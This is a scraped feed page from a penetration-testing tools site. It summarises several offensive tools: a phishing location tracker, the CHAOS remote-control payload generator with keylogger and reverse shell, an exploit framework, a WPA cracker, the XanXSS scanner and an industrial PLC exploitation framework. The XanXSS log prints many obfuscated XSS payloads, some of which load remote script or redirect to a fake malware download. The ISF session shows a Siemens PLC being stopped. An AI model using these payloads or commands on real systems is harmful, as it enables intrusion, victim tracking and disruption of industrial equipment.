Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all 5854 articles
Browse latest View live

ISeeYou - Bash And Javascript Tool To Find The Exact Location Of The Users During Social Engineering Or Phishing Engagements

$
0
0

ISeeYou is a Bash and Javascript tool to find the exact location of the users during social engineering or phishing engagements. Using exact location coordinates an attacker can perform preliminary reconnaissance which will help them in performing further targeted attacks.

Note:
  • This tool does not require any additional software to perform phishing attacks.
  • User can expose yout local servers to the Internet and decode the location coordinates by looking at the log file.
This project must not be used for illegal purposes for stalking people or hacking into system where you do not have permission, it is strictly for educational purposes and for people to experiment with.
Any suggestions or ideas for this tool are welcome - just tweet me on @ManiarViral

How to install?
git clone https://github.com/Viralmaniar/I-See-You.git
cd I-See-You
chmod u+x ISeeYou.sh
./ISeeYou.sh


Screenshots
Once the ISeeYou.sh is ran user sees the below screen:

Enter the highlighted url on the main screen where it asks for Enter the URL generated by Serveo and hit Enter:

This URL is generated randomly for different users. However, it will be a subdomain for the serveo.net domain. Send this URL to your victim as part of the phishing campaign via email or any other medium. Victim will see the site as below:

Note: You can be creative and modify the look and feel of the page as per your requirement.
Once the targeted users allows location permission, malicious user will receive exact location of the victim in the tail screen. These numbers are longitude and latitude of the user.

Using https://maps.google.com you can convert the longitude and latitude to an exact location:

Copying Longitude and Latitude numbers from Xterm screens
To copy between xterm and other programs - This would allow user to select numbers to be copied to the clipboard.
  1. Add to the file ~/.Xresources (or create)
XTerm*selectToClipboard: true
  1. Then run the command:
xrdb -merge ~/.Xresources
voidengineer
  1. Restart xterm.

Questions?
Twitter: https://twitter.com/maniarviral
LinkedIn: https://au.linkedin.com/in/viralmaniar



CHAOS Framework v2.0 - Generate Payloads And Control Remote Windows Systems

$
0
0

CHAOS is a PoC that allow generate payloads and control remote operating systems.

Features
FeatureWindowsMacLinux
Reverse ShellXXX
Download FileXXX
Upload FileXXX
ScreenshotXXX
KeyloggerX
PersistenceX
Open URLXXX
Get OS InfoXXX
Fork BombXXX
Run HiddenX

Tested On
Kali Linux - ROLLING EDITION

How to Install
# Install dependencies
$ sudo apt install golang git -y

# Get this repository
$ go get github.com/tiagorlampert/CHAOS

# Get external golang dependencies (ARE REQUIRED GET ALL DEPENDENCIES)
$ go get github.com/kbinani/screenshot
$ go get github.com/lxn/win
$ go get github.com/matishsiao/goInfo
$ go get golang.org/x/sys/windows

# Maybe you will see the message "package github.com/lxn/win: build constraints exclude all Go files".
# It's occurs because the libraries are to windows systems, but it necessary to build the payload.

# Go into the repository
$ cd ~/go/src/github.com/tiagorlampert/CHAOS

# Run
$ go run main.go

How to Use
CommandOn HOST does...
generateGenerate a payload (e.g. generate lhost=192.168.0.100 lport=8080 fname=chaos --windows)
lhost=Specify a ip for connection
lport=Specify a port for connection
fname=Specify a filename to output
--windowsTarget Windows
--macosTarget Mac OS
--linuxTarget Linux
listenListen for a new connection (e.g. listen lport=8080)
serveServe files
exitQuit this program
CommandOn TARGET does...
downloadFile Download
uploadFile Upload
screenshotTake a Screenshot
keylogger_startStart Keylogger session
keylogger_showShow Keylogger session logs
persistence_enableInstall at Startup
persistence_disableRemove from Startup
getosGet OS name
lockscreenLock the OS screen
openurlOpen the URL informed
bombRun Fork Bomb
clearClear the Screen
backClose connection but keep running on target
exitClose connection and exit on target

Video


FAQ

Why does Keylogger capture all uppercase letters?
All the letters obtained using the keylogger are uppercase letters. It is a known issue, in case anyone knows how to fix the Keylogger function using golang, please contact me or open an issue.

Why are necessary get and install external libraries?
To implement the screenshot function i used a third-party library, you can check it in https://github.com/kbinani/screenshot and https://github.com/lxn/win. You must download and install it to generate the payload.

Contact
tiagorlampert@gmail.com


Darksplitz - Exploit Framework

$
0
0

This tools is continued from Nefix, DirsPy and Xmasspy project.

Installation
Will work fine in the debian shade operating system, like Backbox, Ubuntu or Kali linux.
  1. $ git clone https://github.com/koboi137/darksplitz
  2. $ cd darksplitz/
  3. $ sudo ./install.sh

Features
  • Extract mikrotik credential (user.dat)
  • Password generator
  • Reverse IP lookup
  • Mac address sniffer
  • Online md5 cracker
  • Mac address lookup
  • Collecting url from web.archive.org
  • Web backdoor (Dark Shell)
  • Winbox exploit (CVE-2018-14847)
  • ChimeyRed exploit for mipsbe (Mikrotik)
  • Exploit web application
  • Mass apple dos (CVE-2018-4407)
  • Libssh exploit (CVE-2018-10933)
  • Discovering Mikrotik device
  • Directory scanner
  • Subdomain scanner
  • Mac address scanner
  • Mac address pinger
  • Vhost scanner (bypass cloudflare)
  • Mass bruteforce (wordpress)
  • Interactive msfrpc client

Exploit web application
  • plUpload file upload
  • jQuery file upload (CVE-2018-9206)
  • Laravel (.env)
  • sftp-config.json (misc)
  • Wordpress register (enable)
  • elfinder file upload
  • Drupal 7 exploit (CVE-2018-7600)
  • Drupal 8 exploit (CVE-2018-7600)
  • com_fabrik exploit (joomla)
  • gravityform plugin file upload (wordpress)
  • geoplace3 plugin file upload (wordpress)
  • peugeot-music plugin file upload (wordpress)

Notes
This tool will work fine under root, because scapy module and other need root user to access more features. But you can run as user too in some features. ;)


PowerShellArsenal - A PowerShell Module Dedicated To Reverse Engineering

$
0
0

PowerShellArsenal is a PowerShell module used to aid a reverse engineer. The module can be used to disassemble managed and unmanaged code, perform .NET malware analysis, analyze/scrape memory, parse file formats and memory structures, obtain internal system information, etc. PowerShellArsenal is comprised of the following tools:

Disassembly
Disassemble native and managed code.

Get-CSDisassembly
Disassembles a byte array using the Capstone Engine disassembly framework.

Get-ILDisassembly
Disassembles a raw MSIL byte array passed in from a MethodInfo object in a manner similar to that of Ildasm.

MalwareAnalysis
Useful tools when performing malware analysis.

New-FunctionDelegate
Provides an executable wrapper for an X86 or X86_64 function.

Invoke-LoadLibrary
Loads a DLL into the current PowerShell process.

New-DllExportFunction
Creates an executable wrapper delegate around an unmanaged, exported function.

Get-HostsFile
Parses a HOSTS file.

New-HostsFileEntry
Replace or append an entry to a HOSTS file.

Remove-HostsFileEntry
Remove an entry or series of entries from a HOSTS file.

Get-AssemblyStrings
Output all strings from a .NET executable.

Get-AssemblyResources
Extract managed resources from a .NET assembly

Remove-AssemblySuppressIldasmAttribute
Strips a SuppressIldasmAttribute attribute from a .NET assembly.

Get-AssemblyImplementedMethods
Returns all methods in an assembly that are implemented in MSIL.

MemoryTools
Inspect and analyze process memory

Get-ProcessStrings
Outputs all printable strings from the user-mode memory of a process.

Get-VirtualMemoryInfo
A wrapper for kernel32!VirtualQueryEx

Get-ProcessMemoryInfo
Retrieve virtual memory information for every unique set of pages in user memory. This function is similar to the !vadump WinDbg command.

Get-StructFromMemory
Marshals data from an unmanaged block of memory in an arbitrary process to a newly allocated managed object of the specified type.

Parsers
Parse file formats and in-memory structures.

Get-PE
An on-disk and in-memory PE parser and process dumper.

Find-ProcessPEs
Finds portable executables in memory regardless of whether or not they were loaded in a legitimate fashion.

Get-LibSymbols
Displays symbolic information from Windows LIB files.

Get-ObjDump
Displays information about Windows object (OBJ) files.

WindowsInternals
Obtain and analyze low-level Windows OS information.

Get-NtSystemInformation
A utility that calls and parses the output of the ntdll!NtQuerySystemInformation function. This utility can be used to query internal OS information that is typically not made visible to a user.

Get-PEB
Returns the process environment block (PEB) of a process.

Register-ProcessModuleTrace
Starts a trace of loaded process modules

Get-ProcessModuleTrace
Displays the process modules that have been loaded since the call to Register-ProcessModuleTrace

Unregister-ProcessModuleTrace
Stops the running process module trace

Get-SystemInfo
A wrapper for kernel32!GetSystemInfo

Misc
Miscellaneous helper functions

Get-Member
A proxy function used to extend the built-in Get-Member cmdlet. It adds the '-Private' parameter allowing you to display non-public .NET members

Get-Strings
Dumps strings from files in both Unicode and Ascii. This cmdlet replicates the functionality of strings.exe from Sysinternals.

ConvertTo-String
Converts the bytes of a file to a string that has a 1-to-1 mapping back to the file's original bytes. ConvertTo-String is useful for performing binary regular expressions.

Get-Entropy
Calculates the entropy of a file or byte array.

Lib
Libraries required by some of the RE functions.

Capstone
The Capstone disassembly engine C# binding.

De4dot
A powerful .NET deobfuscation and .NET PE parsing library.

PSReflect
A module used to easily define in-memory enums, structs, and Win32 functions.

Formatters
ps1xml files used to format the output of various PowerShellArsenal functions.

License
The PowerShellArsenal module and all individual scripts are under the BSD 3-Clause license unless explicitly noted otherwise.

Usage
Refer to the comment-based help in each individual script for detailed usage information.
To install this module, drop the entire PowerShellArsenal folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
To use the module, type Import-Module PowerShellArsenal
To see the commands imported, type Get-Command -Module PowerShellArsenal
If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerShellArsenal into your module path, run the following one-liner: $Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerShellArsenal) ) {Get-ChildItem $_ -Recurse | Unblock-File} }
For help on each individual command, Get-Help is your friend.
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.

Script Style Guide
For all contributors and future contributors to PowerShellArsenal, I ask that you follow this style guide when writing your scripts/modules.
  • Avoid Write-Host at all costs. PowerShell functions/cmdlets are not command-line utilities! Pull requests containing code that uses Write-Host will not be considered. You should output custom objects instead. For more information on creating custom objects, read these articles:
  • If you want to display relevant debugging information to the screen, use Write-Verbose. The user can always just tack on '-Verbose'.
  • Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license (unless there are extenuating circumstances that prevent the application of the BSD license).
  • Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. Exceptions to supported verbs will be considered on a case-by-case basis.
  • I prefer that variable names be capitalized and be as descriptive as possible.
  • Provide logical spacing in between your code. Indent your code to make it more readable.
  • If you find yourself repeating code, write a function.
  • Catch all anticipated errors and provide meaningful output. If you have an error that should stop execution of the script, use 'Throw'. If you have an error that doesn't need to stop execution, use Write-Error.
  • If you are writing a script that interfaces with the Win32 API, try to avoid compiling C# inline with Add-Type. Try to use the PSReflect module, if possible.
  • Do not use hardcoded paths. A script should be useable right out of the box. No one should have to modify the code unless they want to.
  • PowerShell v2 compatibility is highly desired.
  • Use positional parameters and make parameters mandatory when it makes sense to do so. For example, I'm looking for something like the following:
    • [Parameter(Position = 0, Mandatory = $True)]
  • Don't use any aliases unless it makes sense for receiving pipeline input. They make code more difficult to read for people who are unfamiliar with a particular alias.
  • Try not to let commands run on for too long. For example, a pipeline is a natural place for a line break.
  • Don't go overboard with inline comments. Only use them when certain aspects of the code might be confusing to a reader.
  • Rather than using Out-Null to suppress unwanted/irrelevant output, save the unwanted output to $null. Doing so provides a slight performance enhancement.
  • Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters.
  • Explicitly state all required and optional dependencies in the comment-based help for your function. All library dependencies should reside in the 'Lib' folder.
  • If a script creates complex custom objects, include a ps1xml file that will properly format the object's output. ps1xml files are stored in Lib\Formatters.


Faraday v3.7 - Collaborative Penetration Test and Vulnerability Management Platform

$
0
0

Here are the main new features and improvements in Faraday v3.7:


 Now, you can include images to explain vulnerability steps, add tables, codes, and we also support:
  • Title
  • Bold and italic typography

Click here to find out how to configure Markdown in Faraday: 

New vuln preview

With Faraday v3.7 you don’t have to click “edit” to view your vuln. Just click on it and you will see all the information you need. This improvement allows you to have an easy preview of all the vulns in the status report.


 Refine your searches for better automation

Was included custom fields on Searcher, helping you find and act upon all the elements you need faster. With this new function, you can search vulns by different kinds of information relevant for you.


Pyrit - The Famous WPA Precomputed Cracker

$
0
0

Pyrit allows you to create massive databases of pre-computed WPA/WPA2-PSK authentication phase in a space-time-tradeoff. By using the computational power of Multi-Core CPUs and other platforms through ATI-Stream,Nvidia CUDA and OpenCL, it is currently by far the most powerful attack against one of the world's most used security-protocols.

WPA/WPA2-PSK is a subset of IEEE 802.11 WPA/WPA2 that skips the complex task of key distribution and client authentication by assigning every participating party the same pre shared key. This master key is derived from a password which the administrating user has to pre-configure e.g. on his laptop and the Access Point. When the laptop creates a connection to the Access Point, a new session key is derived from the master key to encrypt and authenticate following traffic. The "shortcut" of using a single master key instead of per-user keys eases deployment of WPA/WPA2-protected networks for home- and small-office-use at the cost of making the protocol vulnerable to brute-force-attacks against it's key negotiation phase; it allows to ultimately reveal the password that protects the network. This vulnerability has to be considered exceptionally disastrous as the protocol allows much of the key derivation to be pre-computed, making simple brute-force-attacks even more alluring to the attacker. For more background see this article on the project's blog(Outdated).
The author does not encourage or support using Pyrit for the infringement of peoples' communication-privacy. The exploration and realization of the technology discussed here motivate as a purpose of their own; this is documented by the open development, strictly sourcecode-based distribution and 'copyleft'-licensing.
Pyrit is free software - free as in freedom. Everyone can inspect, copy or modify it and share derived work under the GNU General Public License v3+. It compiles and executes on a wide variety of platforms including FreeBSD, MacOS X and Linux as operation-system and x86-, alpha-, arm-, hppa-, mips-, powerpc-, s390 and sparc-processors.
Attacking WPA/WPA2 by brute-force boils down to to computing Pairwise Master Keys as fast as possible. Every Pairwise Master Key is 'worth' exactly one megabyte of data getting pushed through PBKDF2-HMAC-SHA1. In turn, computing 10.000 PMKs per second is equivalent to hashing 9,8 gigabyte of data with SHA1 in one second.
These are examples of how multiple computational nodes can access a single storage server over various ways provided by Pyrit:
  • A single storage (e.g. a MySQL-server)
  • A local network that can access the storage-server directly and provide four computational nodes on various levels with only one node actually accessing the storage server itself.
  • Another, untrusted network can access the storage through Pyrit's RPC-interface and provides three computional nodes, two of which actually access the RPC-interface.

How to use
Pyrit compiles and runs fine on Linux, MacOS X and BSD. I don't care about Windows; drop me a line (read: patch) if you make Pyrit work without copying half of GNU ... A guide for installing Pyrit on your system can be found in the wiki. There is also a Tutorial and a reference manual for the commandline-client.

How to participate
You may want to read this wiki-entry if interested in porting Pyrit to new hardware-platform. Contributions or bug reports you should [submit an Issue] (https://github.com/JPaulMora/Pyrit/issues).


XanXSS - A Simple XSS Finding Tool

$
0
0
XanXSS is a reflected XSS searching tool (DOM coming soon) that creates payloads based from templates. Unlike other XSS scanners that just run through a list of payloads. XanXSS tries to make the payload unidentifiable, for example:
<xAnXSS</TitLE></STYLE><SVG/ONload='alERt(1);'/></XaNxSs</titLe></StYlE><SvG/ONlOAD='alerT(1);'/>
<ifrAmE&#13;Src=&#160;[2].Find(CoNfirm);=&#160;"JAVaScRIpT:proMpT(1))"javAscrIpt:/*--></scRIPt>
/>cLIcK&#13;Me!</b</TextaRea></TiTLE><BUTtON ONcLIck='aleRT(1);'/>XaNxss</TEXTaRea>
<iMG&#13;sRc=%0acONfIRM();=+'jAVASCRiPT:alerT("XSS");'</STYlE><Svg/onLoad='alErT((1));'/>
With XanXSS every payload is different. XanXSS works by running through the payloads until a specified number is found or a timer hits the max time, this prevents it from looping for to long. Some of the features included in XanXSS:
  • Ability to pass your own headers using -H
  • Ability to generate a polyglot script using -P
  • Ability to run behind a proxy using --proxy
  • And many more

Proof of Concept
For this proof of concept we will use https://xss-game.appspot.com/level1/frame
admin@TBG-a0216:~/bin/python/xanxss$ python xanxss.py -u "http://xss-game.appspot.com/level1/frame?query=" -a 12 -t 12 -f 25 -v 

____ ___ ____ ___ _________ _________
\ \/ /____ ____ \ \/ / / _____// _____/
\ /\__ \ / \ \ / \_____ \ \_____ \
/ \ / __ \| | \/ \ / \/ \
/___/\ (____ /___| /___/\ \/_______ /_______ /
\_/ \/ \/ \_/ \/ \/
Twitter-> @stay__salty
Github --> ekultek
Version---> v(0.1)


[info][16:37:34] using default payloads
[info][16:37:34] generating payloads
[info][16:37:34] running payloads through tampering procedures
[info][16:37:34] payloads tampered successfully
[info][16:37:34] running payloads
[debug][16:37:34] running payload '<xanxsSjAvasCRipT:/*--></SCripT></xanXsS</Style><svG/Onload='ALERt((1);'/ >'
[debug][16:37:34] running payload '<SCRipt&#13;Src=+(pRomPt))``;=%09'HtTP://xsS.ROCKs/xss.jS'jaVAsCRIpt:/*--></ScrIPt></Script</tiTLe></stYLe><Svg/OnLOaD='aLeRT(1);'/>'
[debug][16:37:34] running payload '<xanxssjAvASCRIpT:/*--></ScRiPt></XANxsS</tiTle></STyle><SvG/OnLOAD\u006c='aLErt(1);'/>'
[debug][16:37:34] running payload '<iMG/+/sRc=%0dA=%0DPrOMpt,a(();=%0a'JaVaSCripT:aLeRt("XSS"));'javasCRiPT:/*--></sCRipt>'
[debug][16:37:34] running payload '<SCRIPT/*/srC=&#34;&#62;A=%0aprompT,A(();=%09'htTp://xSs.rockS/XSs.Js'</TeXTARea></TiTLE><buTTOn oncLiCK='ALeRT(1);'/>XAnXsS</tEXTARea></scrIPTjaVaSCRipT:/*--></sCRIPt>'
[debug][16:37:35] running payload '<IMg&#160;SRC=%09CONFIRM(());=%0a'JavAscrIpt:aLERt("XSS");'JavasCrIpT:/*--></SCripT>'
[debug][16:37:35] running payload '<XAnXSS</STYlE><SVg/OnLOAd='aLeR T(1));'/></xAnXsSjaVasCRIpt:/*--></scrIpt>'
[debug][16:37:35] running payload '<sCRIPt`Src=+cOnFiRm());=+'htTP://xSs.rOCKs/xsS.js'</TextaREA></tiTle><ButTon ONCliCK='AlErt(1);'/>xanxSS</TeXTarEa></SCriPtJAvaScrIPt:/*--></SCrIpt>'
[debug][16:37:35] running payload '<scRIpT</title></stYle><sVG/onlOAD='AlERT(1));'/>aLert((1));</scRipT</titLE></STyLe><sVG/oNlOad='aLeRt((1));'/>'
[debug][16:37:35] running payload '<SC\u009lripT/*/SrC=%0aConFirm();=&#160;'hTTP://xsS.ROcks/xSs.js'</TITle></StYlE><svg/ONLOad='ALerT(1);'/></ScriPT</StyLe><svG/OnLOAd='ALert((1);'/>'
[debug][16:37:35] running payload '<B//ONMOuSEOver=&#34;&#62;ConFIrm(();=&#160;wIndow.LoCATIoN=&#160\u005g;(pRoMPT))``;=%0A'htTpS://MyBaDSitE.cOM/dOwnLoAd.phP?iTem=+(pRomPt)``;=%0apuMPEDuPkICKs.exE'jaVAScrIpt:/*--></sCrIPt>ClIcK/*/mE!</b</tiTLe> </sTyLE><sVG/OnLoAd='aLert(1));'/>'
[debug][16:37:35] running payload '<IfRA\u007pmeSrC=%0AcOnFIRm(());=%0a"jaVAScriPT:pRoMPT(1)"jAVaScRIpt:/*--></SCriPt>'
[debug][16:37:36] running payload '<IframE//SrC=&#34;&#62;CONfIRM());=%0d"jAvAscriPT:pROMpT(1)"</TeXtarEa></TiTLe><BUttoN oNcliCK='aLERt((1));'/>XanXss</texTAReA>'
[debug][16:37:36] running payload '<iMG/+/SRc=%09[3].FInd(COnFIRm));=&#34;&#62;'javAscriPt:A\u004pLerT("XSS");'JavaSCriPt:/*--></sCripT>'
[debug][16:37:36] running payload '<imG&#160;SRc=%0d[2].FinD(cOnFiRm));=&#160;'JaVaScRipt:ALERt("XSS"));'</styLe><SVg/oNLoad='ALErT(1));'/>'
[debug][16:37:36] running payload '<script</tITLE></style><SVG/onLOAD='alerT(1);'/>AleRt(1);</ScRIpTjAvASCrIPT:/*--></scRIPt>'
[debug][16:37:36] running payload '<XaNxSs</tITle></sTYlE><SVg/ONload='aLERT((1);'/>< /xANxsS</stYLE><Svg/OnlOAD='AleRt(1);'/>'
[debug][16:37:36] running payload '<b//ONmOUSEoVEr=%0D[8].fInd(coNfIrM);=%09WinDoW.location=%0A(COnfiRm)(();=&#160;'htTPS://MYBadsite.cOM/DoWNlOaD.php?ITEm=+COnFIrM();=+puMPEDupKickS.ExE'</styLe><sVG/OnLOAd='alERt((1);'/>CLickMe!</b</sTYlE><SVG/onloAD='AlERt(1);'/>'
[debug][16:37:37] running payload '<scriPT</styLE><SvG/ONloaD='aLERT(1);'/>ALeRt(1);</SCrIPt</tiTLe></STYlE><sVG/OnloAd='aLeRT(1\u009x);'/>'
[debug][16:37:37] running payload '<iFRamEsrC=&#34;&#62;[7].FInD(cOnFiRm);=%0A"javAsCRipT:prompt(1))"</tITlE\u009e></sTyle><svg/oNLOad='alert((1);'/>'
[debug][16:37:37] running payload '<b/*/OnmOusEOver=&#160;A=%0apROMpt,A();=+wINdOW.LOCAtIon=&#34;&#62;co\U006EfiR\u006\u003id();=%09'HTtPS://MYBAdsiTE.com/doWNload.php?itEm=+((CoNfIrm)();=&#34;&#62;puMpedUPKickS.eXe'</teXtaREa></ti TLe><BUTTON oNclIck='aLeRT((1);'/>XanXsS</texTAREA>cLICk/*/Me!</B</StylE><SVG/ONloAd='aLERt((1));'/>'
[debug][16:37:37] running payload '<XANxSSJaVaScRIpt:/*--></SCripT></XAnXSs</TExtAREa></tITle\u008w><b\u009fuTTON oNclIck='Ale\u003rRT((1);'/>xANXss</TEXTArEA>'
[debug][16:37:37] running payload '<SCript/*/sRC=+A=&#160;prOmpt,A();=&#160;'HtTp://XsS.rocKS/xsS.JS'</stylE><sVG/onLoad='AlErT((1);'/></SCriptjAvaScriPt:/*--></ScrIpt>'
[debug][16:37:37] running payload '<ImG&#13;SRc=&#34;&#62;Co\U006efIr\u006D();=%0a\u007u'javAsCript:AlerT(("XSS");'</titlE></StYLe><svg/onloAD='alERt(1);'/>'
[debug][16:37:38] running payload '<B/*/ONmouSeOvEr=%0Aa=&#160;prOmpT,A();=%09WIndOw.LOCAtION=%0Aa=%09prompt,a();=%0A'hTTps://MYBadsITe.COM/DOWNLOAD.PHp?ITeM=&#160;cO\u006Efir\u006D());=%0dPumPeduPkicks.EXE'</tITlE></StyLE><svg /OnlOAD='aLerT((1));'/>clIcK&#13;mE!</bJavASCript:/*--></sCrIPT>'
[warning][16:37:48] times up dumping found
[info][16:37:48] working payloads:
--------------------------------------------------
~~> <xanxssjAvASCRIpT:/*--></ScRiPt></XANxsS</tiTle></STyle><SvG/OnLOAD\u006c='aLErt(1);'/>
~~> <SCRipt&#13;Src=+(pRomPt))``;=%09'HtTP://xsS.ROCKs/xss.jS'jaVAsCRIpt:/*--></ScrIPt></Script</tiTLe></stYLe><Svg/OnLOaD='aLeRT(1);'/>
~~> <xanxsSjAvasCRipT:/*--></SCripT></xanXsS</Style><svG/Onload='ALERt((1);'/>
--------------------------------------------------
[info][16:37:48] found a total of 3 working payloads
admin@TBG-a0216:~/bin/python/xanxss$
Now lets check those scripts in the HTML of the website:
Payload:<xanxssjAvASCRIpT:/*--></ScRiPt></XANxsS</tiTle></STyle><SvG/OnLOAD\u006c='aLErt(1);'/>


Payload: <SCRipt&#13;Src=+(pRomPt))``;=%09'HtTP://xsS.ROCKs/xss.jS'jaVAsCRIpt:/*--></ScrIPt></Script</tiTLe></stYLe><Svg/OnLOaD='aLeRT(1);'/>


Payload: <xanxsSjAvasCRipT:/*--></SCripT></xanXsS</Style><svG/Onload='ALERt((1);'/>


Options
XanXSS comes complete with the ability to use a proxy, is compatible with proxychains, and allows you to add custom headers. I have provided a full list of options for your convience:
usage: xanxss.py [-h] [-u http://test.com/test.php?id=] [-a VERIFY]
[-f AMOUNT] [-t TIME] [-p SCRIPT, [SCRIPT, ...]]
[-F FILE-PATH] [-v] [--proxy TYPE://IP:PORT]
[-H HEADER=VALUE,HEADER:VALUE] [--throttle TIME secs] [-P]

optional arguments:
-h, --help show this help message and exit
-u http://test.com/test.php?id=, --url http://test.com/test.php?id=
pass a URL to test for XSS vulnerabilities. it is
recommended that you use a URL with a query parameter
-a VERIFY, --amount VERIFY
how many verifications steps to be taken, this will
determine how reliable the payload is. the more
verification steps the more reliable the payload will
be (*default=5)
-f AMOUNT, --find AMOUNT
a ttempt to find this amount of working payloads,
specifying this does not guarantee you will find this
amount of working payloads (*default=25)
-t TIME, --time TIME amount of time in seconds to spend on testing, this
will be used as a timer for the verification
(*default=35s)
-p SCRIPT, [SCRIPT, ...], --payloads SCRIPT, [SCRIPT, ...]
pass a comma separated list of your own payloads, must
contain at least 5 payloads
-F FILE-PATH, --file FILE-PATH
pass a textual file containing payloads one per line,
must contain at least 5 payloads
-v, --verbose run in verbose mode and display more output
(*default=False)
--proxy TYPE://IP:PORT
pass a proxy in the format type://ip:port
-H HEADER=VALUE,HEADER:VALUE, --headers HEADER=VALUE,HEADER:VALUE
add your own custom headers to the request
(*default=connection,user-agent)
--throttle TIME (secs)
throttle each request with a sleep time (*default=0)
-P, --polyglot generate a polyglot script to append to the end of the
running scripts, if there is XSS this should find it
(*default=False)


Pocsuite3 - An Open-Sourced Remote Vulnerability Testing Framework

$
0
0
pocsuite3 is an open-sourced remote vulnerability testing and proof-of-concept development framework developed by the Knownsec 404 Team. It comes with a powerful proof-of-concept engine, many powerful features for the ultimate penetration testers and security researchers.

Features
  • PoC scripts can running with attack,verify, shell mode in different way
  • Plugin ecosystem
  • Dynamic loading PoC script from any where (local file, redis , database, Seebug ...)
  • Load multi-target from any where (CIDR, local file, redis , database, Zoomeye, Shodan ...)
  • Results can be easily exported
  • Dynamic patch and hook requests
  • Both command line tool and python package import to use
  • IPV6 support
  • Global HTTP/HTTPS/SOCKS proxy support
  • Simple spider API for PoC script to use
  • Integrate with Seebug (for load PoC from Seebug website)
  • Integrate with ZoomEye (for load target from ZoomEye Dork)
  • Integrate with Shodan (for load target from Shodan Dork)
  • Integrate with Ceye (for verify blind DNS and HTTP request)
  • Friendly debug PoC scripts with IDEs
  • More ...

Screenshots

pocsuite3 console mode


pocsuite3 shell mode


pocsuite3 load PoC from Seebug


pocsuite3 load multi-target from ZoomEye


pocsuite3 load multi-target from Shodan


Requirements
  • Python 3.4+
  • Works on Linux, Windows, Mac OSX, BSD

Installation
The quick way:
$ pip install pocsuite3
Or click here to download the latest source zip package and extract
$ wget https://github.com/knownsec/pocsuite3/archive/master.zip
$ unzip master.zip
The latest version of this software is available from: http://pocsuite.org

Documentation
Documentation is available in the english docs / chinese docs directory.



ISF - Industrial Control System Exploitation Framework

$
0
0

ISF(Industrial Exploitation Framework) is a exploitation framework based on Python, it's similar to metasploit framework.

ISF is based on open source project routersploit.
Read this in other languages: English, 简体中文,

ICS Protocol Clients
NamePathDescription
modbus_tcp_clienticssploit/clients/modbus_tcp_client.pyModbus-TCP Client
wdb2_clienticssploit/clients/wdb2_client.pyWdbRPC Version 2 Client(Vxworks 6.x)
s7_clienticssploit/clients/s7_client.pys7comm Client(S7 300/400 PLC)

Exploit Module
NamePathDescription
s7_300_400_plc_controlexploits/plcs/siemens/s7_300_400_plc_control.pyS7-300/400 PLC start/stop
s7_1200_plc_controlexploits/plcs/siemens/s7_1200_plc_control.pyS7-1200 PLC start/stop/reset
vxworks_rpc_dosexploits/plcs/vxworks/vxworks_rpc_dos.pyVxworks RPC remote dos(CVE-2015-7599)
quantum_140_plc_controlexploits/plcs/schneider/quantum_140_plc_control.pySchneider Quantum 140 series PLC start/stop
crash_qnx_inetd_tcp_serviceexploits/plcs/qnx/crash_qnx_inetd_tcp_service.pyQNX Inetd TCP service dos
qconn_remote_execexploits/plcs/qnx/qconn_remote_exec.pyQNX qconn remote code execution
profinet_set_ipexploits/plcs/siemens/profinet_set_ip.pyProfinet DCP device IP config

Scanner Module
NamePathDescription
profinet_dcp_scanscanners/profinet_dcp_scan.pyProfinet DCP scanner
vxworks_6_scanscanners/vxworks_6_scan.pyVxworks 6.x scanner
s7comm_scanscanners/s7comm_scan.pyS7comm scanner
enip_scanscanners/enip_scan.pyEthernetIP scanner

ICS Protocols Module (Scapy Module)
These protocol can used in other Fuzzing framework like Kitty or create your own client.
NamePathDescription
pn_dcpicssploit/protocols/pn_dcpProfinet DCP Protocol
modbus_tcpicssploit/protocols/modbus_tcpModbus TCP Protocol
wdbrpc2icssploit/protocols/wdbrpc2WDB RPC Version 2 Protocol
s7commicssploit/protocols/s7comm.pyS7comm Protocol

Install

Python requirements

Install on Kali
git clone https://github.com/dark-lbp/isf/
cd isf
python isf.py

Usage
    root@kali:~/Desktop/temp/isf# python isf.py

_____ _____ _____ _____ _____ _ ____ _____ _______
|_ _/ ____|/ ____/ ____| __ \| | / __ \_ _|__ __|
| || | | (___| (___ | |__) | | | | | || | | |
| || | \___ \\___ \| ___/| | | | | || | | |
_| || |____ ____) |___) | | | |___| |__| || |_ | |
|_____\_____|_____/_____/|_| |______\____/_____| |_|


ICS Exploitation Framework

Note : ICSSPOLIT is fork from routersploit at
https://github.com/reverse-shell/routersploit
Dev Team : wenzhe zhu(dark-lbp)
Version : 0.1.0

Exploits: 2 Scanners: 0 Creds: 13

ICS Exploits:
PLC: 2 ICS Switch: 0
Software: 0

isf >

Exploits
isf > use exploits/plcs/
exploits/plcs/siemens/ exploits/plcs/vxworks/
isf > use exploits/plcs/siemens/s7_300_400_plc_control
exploits/plcs/siemens/s7_300_400_plc_control
isf > use exploits/plcs/siemens/s7_300_400_plc_control
isf (S7-300/400 PLC Control) >
You can use the tab key for completion.

Options

Display module options:
isf (S7-300/400 PLC Control) > show options

Target options:

Name Current settings Description
---- ---------------- -----------
target Target address e.g. 192.168.1.1
port 102 Target Port


Module options:

Name Current settings Description
---- ---------------- -----------
slot 2 CPU slot number.
command 1 Command 0:start plc, 1:stop plc.


isf (S7-300/400 PLC Control) >

Set options
isf (S7-300/400 PLC Control) > set target 192.168.70.210
[+] {'target': '192.168.70.210'}

Run module
isf (S7-300/400 PLC Control) > run
[*] Running module...
[+] Target is alive
[*] Sending packet to target
[*] Stop plc
isf (S7-300/400 PLC Control) >

Display information about exploit
isf (S7-300/400 PLC Control) > show info

Name:
S7-300/400 PLC Control

Description:
Use S7comm command to start/stop plc.

Devices:
- Siemens S7-300 and S7-400 programmable logic controllers (PLCs)

Authors:
- wenzhe zhu <jtrkid[at]gmail.com>

References:

isf (S7-300/400 PLC Control) >

Documents


Beagle - An Incident Response And Digital Forensics Tool Which Transforms Security Logs And Data Into Graphs

$
0
0

